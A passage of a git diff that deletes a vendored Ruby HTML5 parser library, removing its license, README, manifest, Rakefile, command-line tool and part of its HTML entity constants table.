-          test['input'],
-          test['output'],
-          test['xhtml'] || test['output'],
-          test['rexml'] || test['output']
-        )
-      end
-    end
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/History.txt b/attic/vendor/plugins/HTML5lib/History.txt
deleted file mode 100644
index 2c8f6321..00000000
--- a/attic/vendor/plugins/HTML5lib/History.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-== 0.10.0 2007-10-08
-* proof-of-concept validator
-* easier to localize error reporting
-* many unit tests
-
-== 0.1.0 / 2007-08-07
-
-* 1 major enhancement
-  * Birthday!
-
diff --git a/attic/vendor/plugins/HTML5lib/LICENSE b/attic/vendor/plugins/HTML5lib/LICENSE
deleted file mode 100644
index b2e8af8b..00000000
--- a/attic/vendor/plugins/HTML5lib/LICENSE
+++ /dev/null
@@ -1,17 +0,0 @@
-Copyright (c) 2006-2007 The Authors
-
-Contributers:
-James Graham - jg307@cam.ac.uk
-Anne van Kesteren - annevankesteren@gmail.com
-Lachlan Hunt - lachlan.hunt@lachy.id.au
-Matt McDonald - kanashii@kanashii.ca
-Sam Ruby - rubys@intertwingly.net
-Ian Hickson (Google) - ian@hixie.ch
-Thomas Broyer - t.broyer@ltgt.net
-Jacques Distler - distler@golem.ph.utexas.edu
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/attic/vendor/plugins/HTML5lib/Manifest.txt b/attic/vendor/plugins/HTML5lib/Manifest.txt
deleted file mode 100644
index 0f5a2ea6..00000000
--- a/attic/vendor/plugins/HTML5lib/Manifest.txt
+++ /dev/null
@@ -1,116 +0,0 @@
-History.txt
-Manifest.txt
-README
-Rakefile.rb
-bin/html5
-lib/html5.rb
-lib/html5/constants.rb
-lib/html5/filters/base.rb
-lib/html5/filters/inject_meta_charset.rb
-lib/html5/filters/iso639codes.rb
-lib/html5/filters/optionaltags.rb
-lib/html5/filters/rfc2046.rb
-lib/html5/filters/rfc3987.rb
-lib/html5/filters/sanitizer.rb
-lib/html5/filters/validator.rb
-lib/html5/filters/whitespace.rb
-lib/html5/html5parser.rb
-lib/html5/html5parser/after_body_phase.rb
-lib/html5/html5parser/after_frameset_phase.rb
-lib/html5/html5parser/after_head_phase.rb
-lib/html5/html5parser/before_head_phase.rb
-lib/html5/html5parser/in_body_phase.rb
-lib/html5/html5parser/in_caption_phase.rb
-lib/html5/html5parser/in_cell_phase.rb
-lib/html5/html5parser/in_column_group_phase.rb
-lib/html5/html5parser/in_frameset_phase.rb
-lib/html5/html5parser/in_head_phase.rb
-lib/html5/html5parser/in_row_phase.rb
-lib/html5/html5parser/in_select_phase.rb
-lib/html5/html5parser/in_table_body_phase.rb
-lib/html5/html5parser/in_table_phase.rb
-lib/html5/html5parser/initial_phase.rb
-lib/html5/html5parser/phase.rb
-lib/html5/html5parser/root_element_phase.rb
-lib/html5/html5parser/trailing_end_phase.rb
-lib/html5/inputstream.rb
-lib/html5/liberalxmlparser.rb
-lib/html5/sanitizer.rb
-lib/html5/serializer.rb
-lib/html5/serializer/htmlserializer.rb
-lib/html5/serializer/xhtmlserializer.rb
-lib/html5/sniffer.rb
-lib/html5/tokenizer.rb
-lib/html5/treebuilders.rb
-lib/html5/treebuilders/base.rb
-lib/html5/treebuilders/hpricot.rb
-lib/html5/treebuilders/rexml.rb
-lib/html5/treebuilders/simpletree.rb
-lib/html5/treewalkers.rb
-lib/html5/treewalkers/base.rb
-lib/html5/treewalkers/hpricot.rb
-lib/html5/treewalkers/rexml.rb
-lib/html5/treewalkers/simpletree.rb
-lib/html5/version.rb
-testdata/encoding/chardet/test_big5.txt
-testdata/encoding/test-yahoo-jp.dat
-testdata/encoding/tests1.dat
-testdata/encoding/tests2.dat
-testdata/sanitizer/tests1.dat
-testdata/serializer/core.test
-testdata/serializer/injectmeta.test
-testdata/serializer/optionaltags.test
-testdata/serializer/options.test
-testdata/serializer/whitespace.test
-testdata/sites/google-results.htm
-testdata/sites/python-ref-import.htm
-testdata/sites/web-apps-old.htm
-testdata/sites/web-apps.htm
-testdata/sniffer/htmlOrFeed.json
-testdata/tokenizer/contentModelFlags.test
-testdata/tokenizer/entities.test
-testdata/tokenizer/escapeFlag.test
-testdata/tokenizer/test1.test
-testdata/tokenizer/test2.test
-testdata/tokenizer/test3.test
-testdata/tokenizer/test4.test
-testdata/tree-construction/tests1.dat
-testdata/tree-construction/tests2.dat
-testdata/tree-construction/tests3.dat
-testdata/tree-construction/tests4.dat
-testdata/tree-construction/tests5.dat
-testdata/tree-construction/tests6.dat
-testdata/validator/attributes.test
-testdata/validator/base-href-attribute.test
-testdata/validator/base-target-attribute.test
-testdata/validator/blockquote-cite-attribute.test
-testdata/validator/classattribute.test
-testdata/validator/contenteditableattribute.test
-testdata/validator/contextmenuattribute.test
-testdata/validator/dirattribute.test
-testdata/validator/draggableattribute.test
-testdata/validator/html-xmlns-attribute.test
-testdata/validator/idattribute.test
-testdata/validator/inputattributes.test
-testdata/validator/irrelevantattribute.test
-testdata/validator/langattribute.test
-testdata/validator/li-value-attribute.test
-testdata/validator/link-href-attribute.test
-testdata/validator/link-hreflang-attribute.test
-testdata/validator/link-rel-attribute.test
-testdata/validator/ol-start-attribute.test
-testdata/validator/starttags.test
-testdata/validator/style-scoped-attribute.test
-testdata/validator/tabindexattribute.test
-test/preamble.rb
-test/test_encoding.rb
-test/test_lxp.rb
-test/test_parser.rb
-test/test_sanitizer.rb
-test/test_serializer.rb
-test/test_sniffer.rb
-test/test_stream.rb
-test/test_tokenizer.rb
-test/test_treewalkers.rb
-test/test_validator.rb
-test/tokenizer_test_parser.rb
diff --git a/attic/vendor/plugins/HTML5lib/README b/attic/vendor/plugins/HTML5lib/README
deleted file mode 100644
index f1d9991a..00000000
--- a/attic/vendor/plugins/HTML5lib/README
+++ /dev/null
@@ -1,45 +0,0 @@
-html5
-    by Ryan King, et al
-    http://code.google.com/p/html5lib
-
-== DESCRIPTION:
-
-A ruby implementation of the parsing algorithm in HTML5.
-
-
-== FEATURES/PROBLEMS:
-
-
-
-== SYNOPSIS:
-
-  TODO
-
-== REQUIREMENTS:
-
-* chardet, only tested with 0.9.0
-
-== INSTALL:
-
-* sudo gem install html5
-
-== LICENSE:
-
-Copyright (c) 2006-2007 The Authors
-
-Contributers:
-James Graham - jg307@cam.ac.uk
-Anne van Kesteren - annevankesteren@gmail.com
-Lachlan Hunt - lachlan.hunt@lachy.id.au
-Matt McDonald - kanashii@kanashii.ca
-Sam Ruby - rubys@intertwingly.net
-Ian Hickson (Google) - ian@hixie.ch
-Thomas Broyer - t.broyer@ltgt.net
-Jacques Distler - distler@golem.ph.utexas.edu
-Ryan King - ryan@theryanking.com
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/attic/vendor/plugins/HTML5lib/Rakefile.rb b/attic/vendor/plugins/HTML5lib/Rakefile.rb
deleted file mode 100644
index 49324fcb..00000000
--- a/attic/vendor/plugins/HTML5lib/Rakefile.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-require 'rake'
-require 'hoe'
-require 'lib/html5/version'
-
-Hoe.new("html5", HTML5::VERSION) do |p|
-  p.name = "html5"
-  p.description = p.paragraphs_of('README', 2..5).join("\n\n")
-  p.summary = "HTML5 parser/tokenizer."
-
-  p.author   = ['Ryan King'] # TODO: add more names
-  p.email    = 'ryan@theryanking.com'
-  p.url      = 'http://code.google.com/p/html5lib'
-  p.need_zip = true
-
-  p.extra_deps << ['chardet', '>= 0.9.0']
-  p.changes = p.paragraphs_of('History.txt', 0..1).join("\n\n")
-end
-
-require 'rcov/rcovtask'
-
-namespace :test do
-  namespace :coverage do
-    desc "Delete aggregate coverage data."
-    task(:clean) { rm_f "coverage.data" }
-  end
-  desc 'Aggregate code coverage for unit, functional and integration tests'
-  Rcov::RcovTask.new(:coverage => "test:coverage:clean") do |t|
-    t.libs << "test"
-    t.test_files = FileList["test/test_*.rb"]
-    t.output_dir = "test/coverage/"
-    t.verbose = true
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/bin/html5 b/attic/vendor/plugins/HTML5lib/bin/html5
deleted file mode 100755
index c74e780b..00000000
--- a/attic/vendor/plugins/HTML5lib/bin/html5
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'html5/cli'
-
-HTML5::CLI.run
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5.rb b/attic/vendor/plugins/HTML5lib/lib/html5.rb
deleted file mode 100644
index 68bd6b16..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require 'html5/html5parser'
-require 'html5/version'
-
-module HTML5
-
-  def self.parse(stream, options={})
-    HTMLParser.parse(stream, options)
-  end
-
-  def self.parse_fragment(stream, options={})
-    HTMLParser.parse_fragment(stream, options)
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/cli.rb b/attic/vendor/plugins/HTML5lib/lib/html5/cli.rb
deleted file mode 100644
index 28d4e98a..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/cli.rb
+++ /dev/null
@@ -1,248 +0,0 @@
-$:.unshift File.dirname(__FILE__), 'lib'
-require 'html5'
-require 'ostruct'
-require 'optparse'
-
-module HTML5::CLI
-
-  def self.parse_opts argv
-    options = OpenStruct.new
-    options.profile        = false
-    options.time           = false
-    options.output         = :html
-    options.treebuilder    = 'simpletree'
-    options.error          = false
-    options.encoding       = false
-    options.parsemethod    = :parse
-    options.serializer     = {
-      :encoding            => 'utf-8',
-      :omit_optional_tags  => false,
-      :inject_meta_charset => false
-    }
-
-    opts = OptionParser.new do |opts|
-      opts.separator ""
-      opts.separator "Parse Options:"
-
-      opts.on("-b", "--treebuilder NAME") do |treebuilder|
-        options.treebuilder = treebuilder
-      end
-
-      opts.on("-f", "--fragment CONTAINER", "Parse as a fragment") do |container|
-        options.parsemethod = :parse_fragment
-        options.container = container if container
-      end
-
-      opts.separator ""
-      opts.separator "Filter Options:"
-
-      opts.on("--[no-]inject-meta-charset", "inject <meta charset>") do |inject|
-        options.serializer[:inject_meta_charset] = inject
-      end
-
-      opts.on("--[no-]strip-whitespace", "strip unnecessary whitespace") do |strip|
-        options.serializer[:strip_whitespace] = strip
-      end
-
-      opts.on("--[no-]sanitize", "escape unsafe tags") do |sanitize|
-        options.serializer[:sanitize] = sanitize
-      end
-
-      opts.separator ""
-      opts.separator "Output Options:"
-
-      opts.on("--tree", "output as debug tree") do |tree|
-        options.output = :tree
-      end
-
-      opts.on("-x", "--xml", "output as xml") do |xml|
-        options.output = :xml
-        options.treebuilder = "rexml"
-      end
-
-      opts.on("--[no-]html", "Output as html") do |html|
-        options.output = (html ? :html : nil)
-      end
-
-      opts.on("--hilite", "Output as formatted highlighted code.") do |hilite|
-        options.output = :hilite
-      end
-
-      opts.on("-e", "--error", "Print a list of parse errors") do |error|
-        options.error = error
-      end
-
-      opts.separator ""
-      opts.separator "Serialization Options:"
-
-      opts.on("--[no-]omit-optional-tags", "Omit optional tags") do |omit|
-        options.serializer[:omit_optional_tags] = omit
-      end
-
-      opts.on("--[no-]quote-attr-values", "Quote attribute values") do |quote|
-        options.serializer[:quote_attr_values] = quote
-      end
-
-      opts.on("--[no-]use-best-quote-char", "Use best quote character") do |best|
-        options.serializer[:use_best_quote_char] = best
-      end
-
-      opts.on("--quote-char C", "Use specified quote character") do |c|
-        options.serializer[:quote_char] = c
-      end
-
-      opts.on("--[no-]minimize-boolean-attributes", "Minimize boolean attributes") do |min|
-        options.serializer[:minimize_boolean_attributes] = min
-      end
-
-      opts.on("--[no-]use-trailing-solidus", "Use trailing solidus") do |slash|
-        options.serializer[:use_trailing_solidus] = slash
-      end
-
-      opts.on("--[no-]escape-lt-in-attrs", "Escape less than signs in attribute values") do |lt|
-        options.serializer[:escape_lt_in_attrs] = lt
-      end
-
-      opts.on("--[no-]escape-rcdata", "Escape rcdata element values") do |rcdata|
-        options.serializer[:escape_rcdata] = rcdata
-      end
-
-      opts.separator ""
-      opts.separator "Other Options:"
-
-      opts.on("-p", "--[no-]profile", "Profile the run") do |profile|
-        options.profile = profile
-      end
-
-      opts.on("-t", "--[no-]time", "Time the run") do |time|
-        options.time = time
-      end
-
-      opts.on("-c", "--[no-]encoding", "Print character encoding used") do |encoding|
-        options.encoding = encoding
-      end
-
-      opts.on_tail("-h", "--help", "Show this message") do
-        puts opts
-        exit
-      end
-
-
-    end
-    opts.parse!(argv)
-    options
-  end
-
-  def self.open_input f
-    if f
-      begin
-        if f[0..6] == 'http://'
-          require 'open-uri'
-          f = URI.parse(f).open
-          encoding = f.charset
-        elsif f == '-'
-          f = $stdin
-        else
-          f = open(f)
-        end
-      rescue
-      end
-    else
-      $stderr.write("No filename provided. Use -h for help\n")
-      exit(1)
-    end
-    f
-  end
-
-  def self.parse(opts, args)
-    encoding = nil
-
-    f = open_input args.last
-
-    require 'html5/treebuilders'
-    treebuilder = HTML5::TreeBuilders[opts.treebuilder]
-
-    if opts.output == :xml
-      require 'html5/liberalxmlparser'
-      p = HTML5::XMLParser.new(:tree=>treebuilder)
-    else
-      require 'html5/html5parser'
-      p = HTML5::HTMLParser.new(:tree=>treebuilder)
-    end
-
-    if opts.parsemethod == :parse
-      args = [f, encoding]
-    else
-      args = [f, (opts.container || 'div'), encoding]
-    end
-
-    if opts.profile
-      require 'profiler'
-      Profiler__::start_profile
-      p.send(opts.parsemethod, *args)
-      Profiler__::stop_profile
-      Profiler__::print_profile($stderr)
-    elsif opts.time
-      require 'time' # TODO: switch to benchmark
-      t0 = Time.new
-      document = p.send(opts.parsemethod, *args)
-      t1 = Time.new
-      print_output(p, document, opts)
-      t2 = Time.new
-      puts "\n\nRun took: #{t1-t0}s (plus #{t2-t1}s to print the output)"
-    else
-      document = p.send(opts.parsemethod, *args)
-      print_output(p, document, opts)
-    end
-  end
-
-  def self.print_output(parser, document, opts)
-    puts "Encoding: #{parser.tokenizer.stream.char_encoding}" if opts.encoding
-
-    case opts.output
-    when :xml
-      print document
-    when :html
-      require 'html5/treewalkers'
-      tokens = HTML5::TreeWalkers[opts.treebuilder].new(document)
-      require 'html5/serializer'
-      puts HTML5::HTMLSerializer.serialize(tokens, opts.serializer)
-    when :hilite
-      print document.hilite
-    when :tree
-      document = [document] unless document.respond_to?(:each)
-      document.each {|fragment| puts parser.tree.testSerializer(fragment)}
-    end
-
-    if opts.error
-      errList=[]
-      for pos, errorcode, datavars in parser.errors
-        formatstring = HTML5::E[errorcode] || 'Unknown error "%(errorcode)"'
-        message = PythonicTemplate.new(formatstring).to_s(datavars)
-        errList << "Line #{pos[0]} Col #{pos[1]} " + message
-      end
-      $stdout.write("\nParse errors:\n" + errList.join("\n")+"\n")
-    end
-  end
-
-  class PythonicTemplate
-    # convert Python format string into a Ruby string, ready to eval
-    def initialize format
-      @format = format
-      @format.gsub!('"', '\\"')
-      @format.gsub!(/%\((\w+)\)/, '#{@_\1}')
-      @format = '"' + @format + '"'
-    end
-
-    # evaluate string
-    def to_s(vars=nil)
-      vars.each {|var,value| eval "@_#{var}=#{value.dump}"} if vars
-      eval @format
-    end
-  end
-
-  def self.run
-    options = parse_opts ARGV
-    parse options, ARGV
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/constants.rb b/attic/vendor/plugins/HTML5lib/lib/html5/constants.rb
deleted file mode 100755
index 53baa8e8..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/constants.rb
+++ /dev/null
@@ -1,1047 +0,0 @@
-module HTML5
-
-  class EOF < Exception; end
-
-  def self._(str); str end
-
-  CONTENT_MODEL_FLAGS = [
-      :PCDATA,
-      :RCDATA,
-      :CDATA,
-      :PLAINTEXT
-  ]
-
-  SCOPING_ELEMENTS = %w[
-      button
-      caption
-      html
-      marquee
-      object
-      table
-      td
-      th
-  ]
-
-  FORMATTING_ELEMENTS = %w[
-      a
-      b
-      big
-      em
-      font
-      i
-      nobr
-      s
-      small
-      strike
-      strong
-      tt
-      u
-  ]
-
-  SPECIAL_ELEMENTS = %w[
-      address
-      area
-      base
-      basefont
-      bgsound
-      blockquote
-      body
-      br
-      center
-      col
-      colgroup
-      dd
-      dir
-      div
-      dl
-      dt
-      embed
-      fieldset
-      form
-      frame
-      frameset
-      h1
-      h2
-      h3
-      h4
-      h5
-      h6
-      head
-      hr
-      iframe
-      image
-      img
-      input
-      isindex
-      li
-      link
-      listing
-      menu
-      meta
-      noembed
-      noframes
-      noscript
-      ol
-      optgroup
-      option
-      p
-      param
-      plaintext
-      pre
-      script
-      select
-      spacer
-      style
-      tbody
-      textarea
-      tfoot
-      thead
-      title
-      tr
-      ul
-      wbr
-  ]
-
-  SPACE_CHARACTERS = %W[
-      \t
-      \n
-      \x0B
-      \x0C
-      \x20
-      \r
-  ]
-
-  TABLE_INSERT_MODE_ELEMENTS = %w[
-      table
-      tbody
-      tfoot
-      thead
-      tr
-  ]
-
-  ASCII_LOWERCASE = ('a'..'z').to_a.join('')
-  ASCII_UPPERCASE = ('A'..'Z').to_a.join('')
-  ASCII_LETTERS = ASCII_LOWERCASE + ASCII_UPPERCASE
-  DIGITS = '0'..'9'
-  HEX_DIGITS = DIGITS.to_a + ('a'..'f').to_a + ('A'..'F').to_a
-
-  # Heading elements need to be ordered 
-  HEADING_ELEMENTS = %w[
-      h1
-      h2
-      h3
-      h4
-      h5
-      h6
-  ]
-
-  # XXX What about event-source and command?
-  VOID_ELEMENTS = %w[
-      base
-      link
-      meta
-      hr
-      br
-      img
-      embed
-      param
-      area
-      col
-      input
-  ]
-
-  CDATA_ELEMENTS = %w[title textarea]
-
-  RCDATA_ELEMENTS = %w[
-    style
-    script
-    xmp
-    iframe
-    noembed
-    noframes
-    noscript
-  ]
-
-  BOOLEAN_ATTRIBUTES = {
-    :global    => %w[irrelevant],
-    'style'    => %w[scoped],
-    'img'      => %w[ismap],
-    'audio'    => %w[autoplay controls],
-    'video'    => %w[autoplay controls],
-    'script'   => %w[defer async],
-    'details'  => %w[open],
-    'datagrid' => %w[multiple disabled],
-    'command'  => %w[hidden disabled checked default],
-    'menu'     => %w[autosubmit],
-    'fieldset' => %w[disabled readonly],
-    'option'   => %w[disabled readonly selected],
-    'optgroup' => %w[disabled readonly],
-    'button'   => %w[disabled autofocus],
-    'input'    => %w[disabled readonly required autofocus checked ismap],
-    'select'   => %w[disabled readonly autofocus multiple],
-    'output'   => %w[disabled readonly]
-
-  }
-
-  # entitiesWindows1252 has to be _ordered_ and needs to have an index.
-  ENTITIES_WINDOWS1252 = [
-      8364,  # 0x80  0x20AC  EURO SIGN
-      65533, # 0x81          UNDEFINED
-      8218,  # 0x82  0x201A  SINGLE LOW-9 QUOTATION MARK
-      402,   # 0x83  0x0192  LATIN SMALL LETTER F WITH HOOK
-      8222,  # 0x84  0x201E  DOUBLE LOW-9 QUOTATION MARK
-      8230,  # 0x85  0x2026  HORIZONTAL ELLIPSIS
-      8224,  # 0x86  0x2020  DAGGER
-      8225,  # 0x87  0x2021  DOUBLE DAGGER
-      710,   # 0x88  0x02C6  MODIFIER LETTER CIRCUMFLEX ACCENT
-      8240,  # 0x89  0x2030  PER MILLE SIGN
-      352,   # 0x8A  0x0160  LATIN CAPITAL LETTER S WITH CARON
-      8249,  # 0x8B  0x2039  SINGLE LEFT-POINTING ANGLE QUOTATION MARK
-      338,   # 0x8C  0x0152  LATIN CAPITAL LIGATURE OE
-      65533, # 0x8D          UNDEFINED
-      381,   # 0x8E  0x017D  LATIN CAPITAL LETTER Z WITH CARON
-      65533, # 0x8F          UNDEFINED
-      65533, # 0x90          UNDEFINED
-      8216,  # 0x91  0x2018  LEFT SINGLE QUOTATION MARK
-      8217,  # 0x92  0x2019  RIGHT SINGLE QUOTATION MARK
-      8220,  # 0x93  0x201C  LEFT DOUBLE QUOTATION MARK
-      8221,  # 0x94  0x201D  RIGHT DOUBLE QUOTATION MARK
-      8226,  # 0x95  0x2022  BULLET
-      8211,  # 0x96  0x2013  EN DASH
-      8212,  # 0x97  0x2014  EM DASH
-      732,   # 0x98  0x02DC  SMALL TILDE
-      8482,  # 0x99  0x2122  TRADE MARK SIGN
-      353,   # 0x9A  0x0161  LATIN SMALL LETTER S WITH CARON
-      8250,  # 0x9B  0x203A  SINGLE RIGHT-POINTING ANGLE QUOTATION MARK
-      339,   # 0x9C  0x0153  LATIN SMALL LIGATURE OE
-      65533, # 0x9D          UNDEFINED
-      382,   # 0x9E  0x017E  LATIN SMALL LETTER Z WITH CARON
-      376    # 0x9F  0x0178  LATIN CAPITAL LETTER Y WITH DIAERESIS
-  ]
-
-  # ENTITIES was generated from Python using the following code:
-  #
-  # import constants
-  # entities = constants.entities.items()
-  # entities.sort()
-  # list = [ ' '.join([repr(entity), '=>', ord(value)<128 and 
-  #   repr(str(value)) or repr(value.encode('utf-8')).replace("'",'"')])
-  #   for entity, value in entities]
-  #   print '  ENTITIES = {\n    ' + ',\n    '.join(list) + '\n  }'
-
-  ENTITIES = {
-    'AElig'     => "\xc3\x86",
-    'AElig;'    => "\xc3\x86",
-    'AMP'       => '&',
-    'AMP;'      => '&',
-    'Aacute'    => "\xc3\x81",
-    'Aacute;'   => "\xc3\x81",
-    'Acirc'     => "\xc3\x82",
-    'Acirc;'    => "\xc3\x82",
-    'Agrave'    => "\xc3\x80",
-    'Agrave;'   => "\xc3\x80",
-    'Alpha;'    => "\xce\x91",
-    'Aring'     => "\xc3\x85",
-    'Aring;'    => "\xc3\x85",
-    'Atilde'    => "\xc3\x83",
-    'Atilde;'   => "\xc3\x83",
-    'Auml'      => "\xc3\x84",
-    'Auml;'     => "\xc3\x84",
-    'Beta;'     => "\xce\x92",
-    'COPY'      => "\xc2\xa9",
-    'COPY;'     => "\xc2\xa9",
-    'Ccedil'    => "\xc3\x87",
-    'Ccedil;'   => "\xc3\x87",
-    'Chi;'      => "\xce\xa7",
-    'Dagger;'   => "\xe2\x80\xa1",
-    'Delta;'    => "\xce\x94",
-    'ETH'       => "\xc3\x90",
-    'ETH;'      => "\xc3\x90",
-    'Eacute'    => "\xc3\x89",
-    'Eacute;'   => "\xc3\x89",
-    'Ecirc'     => "\xc3\x8a",
-    'Ecirc;'    => "\xc3\x8a",
-    'Egrave'    => "\xc3\x88",
-    'Egrave;'   => "\xc3\x88",
-    'Epsilon;'  => "\xce\x95",
-    'Eta;'      => "\xce\x97",
-    'Euml'      => "\xc3\x8b",
-    'Euml;'     => "\xc3\x8b",
-    'GT'        => '>',
-    'GT;'       => '>',
-    'Gamma;'    => "\xce\x93",
-    'Iacute'    => "\xc3\x8d",
-    'Iacute;'   => "\xc3\x8d",
-    'Icirc'     => "\xc3\x8e",
-    'Icirc;'    => "\xc3\x8e",
-    'Igrave'    => "\xc3\x8c",
-    'Igrave;'   => "\xc3\x8c",
-    'Iota;'     => "\xce\x99",
-    'Iuml'      => "\xc3\x8f",
-    'Iuml;'     => "\xc3\x8f",
-    'Kappa;'    => "\xce\x9a",
-    'LT'        => '<',
-    'LT;'       => '<',
-    'Lambda;'   => "\xce\x9b",
-    'Mu;'       => "\xce\x9c",
-    'Ntilde'    => "\xc3\x91",
-    'Ntilde;'   => "\xc3\x91",
-    'Nu;'       => "\xce\x9d",
-    'OElig;'    => "\xc5\x92",
-    'Oacute'    => "\xc3\x93",
-    'Oacute;'   => "\xc3\x93",
-    'Ocirc'     => "\xc3\x94",
-    'Ocirc;'    => "\xc3\x94",
-    'Ograve'    => "\xc3\x92",
-    'Ograve;'   => "\xc3\x92",
-    'Omega;'    => "\xce\xa9",
-    'Omicron;'  => "\xce\x9f",
-    'Oslash'    => "\xc3\x98",
-    'Oslash;'   => "\xc3\x98",
-    'Otilde'    => "\xc3\x95",
-    'Otilde;'   => "\xc3\x95",
-    'Ouml'      => "\xc3\x96",
-    'Ouml;'     => "\xc3\x96",
-    'Phi;'      => "\xce\xa6",
-    'Pi;'       => "\xce\xa0",
-    'Prime;'    => "\xe2\x80\xb3",
-    'Psi;'      => "\xce\xa8",
-    'QUOT'      => '"',
-    'QUOT;'     => '"',
-    'REG'       => "\xc2\xae",
-    'REG;'      => "\xc2\xae",
-    'Rho;'      => "\xce\xa1",
-    'Scaron;'   => "\xc5\xa0",
-    'Sigma;'    => "\xce\xa3",
-    'THORN'     => "\xc3\x9e",
-    'THORN;'    => "\xc3\x9e",
-    'TRADE;'    => "\xe2\x84\xa2",
-    'Tau;'      => "\xce\xa4",
-    'Theta;'    => "\xce\x98",
-    'Uacute'    => "\xc3\x9a",
-    'Uacute;'   => "\xc3\x9a",
-    'Ucirc'     => "\xc3\x9b",
-    'Ucirc;'    => "\xc3\x9b",
-    'Ugrave'    => "\xc3\x99",
-    'Ugrave;'   => "\xc3\x99",
-    'Upsilon;'  => "\xce\xa5",
-    'Uuml'      => "\xc3\x9c",
-    'Uuml;'     => "\xc3\x9c",
-    'Xi;'       => "\xce\x9e",
-    'Yacute'    => "\xc3\x9d",
-    'Yacute;'   => "\xc3\x9d",
-    'Yuml;'     => "\xc5\xb8",
-    'Zeta;'     => "\xce\x96",
-    'aacute'    => "\xc3\xa1",
-    'aacute;'   => "\xc3\xa1",
-    'acirc'     => "\xc3\xa2",
-    'acirc;'    => "\xc3\xa2",
-    'acute'     => "\xc2\xb4",
-    'acute;'    => "\xc2\xb4",
-    'aelig'     => "\xc3\xa6",
-    'aelig;'    => "\xc3\xa6",
-    'agrave'    => "\xc3\xa0",
-    'agrave;'   => "\xc3\xa0",
-    'alefsym;'  => "\xe2\x84\xb5",
-    'alpha;'    => "\xce\xb1",
-    'amp'       => '&',
-    'amp;'      => '&',
-    'and;'      => "\xe2\x88\xa7",
-    'ang;'      => "\xe2\x88\xa0",
-    'apos;'     => "'",
-    'aring'     => "\xc3\xa5",
-    'aring;'    => "\xc3\xa5",
-    'asymp;'    => "\xe2\x89\x88",
-    'atilde'    => "\xc3\xa3",
-    'atilde;'   => "\xc3\xa3",
-    'auml'      => "\xc3\xa4",
-    'auml;'     => "\xc3\xa4",
-    'bdquo;'    => "\xe2\x80\x9e",
-    'beta;'     => "\xce\xb2",
-    'brvbar'    => "\xc2\xa6",
-    'brvbar;'   => "\xc2\xa6",
-    'bull;'     => "\xe2\x80\xa2",
-    'cap;'      => "\xe2\x88\xa9",
-    'ccedil'    => "\xc3\xa7",
-    'ccedil;'   => "\xc3\xa7",
-    'cedil'     => "\xc2\xb8",
-    'cedil;'    => "\xc2\xb8",
-    'cent'      => "\xc2\xa2",
-    'cent;'     => "\xc2\xa2",
-    'chi;'      => "\xcf\x87",
-    'circ;'     => "\xcb\x86",
-    'clubs;'    => "\xe2\x99\xa3",
-    'cong;'     => "\xe2\x89\x85",
-    'copy'      => "\xc2\xa9",
-    'copy;'     => "\xc2\xa9",
-    'crarr;'    => "\xe2\x86\xb5",
-    'cup;'      => "\xe2\x88\xaa",
-    'curren'    => "\xc2\xa4",
-    'curren;'   => "\xc2\xa4",
-    'dArr;'     => "\xe2\x87\x93",
-    'dagger;'   => "\xe2\x80\xa0",
-    'darr;'     => "\xe2\x86\x93",
-    'deg'       => "\xc2\xb0",
-    'deg;'      => "\xc2\xb0",
-    'delta;'    => "\xce\xb4",
-    'diams;'    => "\xe2\x99\xa6",
-    'divide'    => "\xc3\xb7",
-    'divide;'   => "\xc3\xb7",
-    'eacute'    => "\xc3\xa9",
-    'eacute;'   => "\xc3\xa9",
-    'ecirc'     => "\xc3\xaa",
-    'ecirc;'    => "\xc3\xaa",
-    'egrave'    => "\xc3\xa8",
-    'egrave;'   => "\xc3\xa8",
-    'empty;'    => "\xe2\x88\x85",
-    'emsp;'     => "\xe2\x80\x83",
-    'ensp;'     => "\xe2\x80\x82",
-    'epsilon;'  => "\xce\xb5",
-    'equiv;'    => "\xe2\x89\xa1",
-    'eta;'      => "\xce\xb7",
-    'eth'       => "\xc3\xb0",
-    'eth;'      => "\xc3\xb0",
-    'euml'      => "\xc3\xab",
